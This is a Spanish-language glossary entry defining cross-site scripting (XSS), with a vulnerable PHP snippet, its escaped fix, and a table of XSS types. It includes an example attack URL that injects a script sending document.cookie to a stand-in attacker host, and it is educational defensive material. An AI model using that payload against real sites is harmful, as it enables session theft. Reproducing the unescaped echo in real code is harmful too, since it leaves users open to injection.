Glossan

¿Qué es XSS?

También llamado: Cross-Site Scripting, secuencias de comandos en sitios cruzados

Definición

Un XSS (Cross-Site Scripting) es una vulnerabilidad que permite a un atacante insertar código JavaScript en una web que luego se ejecuta en el navegador de otros visitantes, con acceso a su sesión y a lo que ven.

Ocurre cuando una web muestra texto que viene de los usuarios (un comentario, un nombre, un parámetro de la URL) sin escaparlo. Si ese texto contiene <script>, el navegador lo ejecuta como si fuera código de la propia web.

Ejemplo

Una página de búsqueda vulnerable en PHP:

<!-- ❌ Se muestra el texto tal cual -->
<p>Resultados para: <?= $_GET['q'] ?></p>

Un atacante envía a la víctima este enlace:

https://example.com/buscar?q=<script>fetch('https://atacante.example/?c='+document.cookie)</script>

Al abrirlo, el script se ejecuta en la web real y envía las cookies de la víctima al atacante.

La solución es escapar siempre al mostrar:

<!-- ✅ Los caracteres especiales se convierten en texto inofensivo -->
<p>Resultados para: <?= htmlspecialchars($_GET['q'] ?? '', ENT_QUOTES, 'UTF-8') ?></p>

Tipos de XSS

Tipo Dónde está el código malicioso
Reflejado En la URL o el formulario; afecta a quien abre el enlace
Almacenado Guardado en la web (un comentario, un perfil); afecta a todos los que lo ven
Basado en DOM El propio JavaScript de la página lo inserta, por ejemplo con innerHTML

Cómo protegerse

¿Tienes un producto o servicio relacionado con XSS? Anúnciate en este término.

Términos relacionados

Categorías: Seguridad Frontend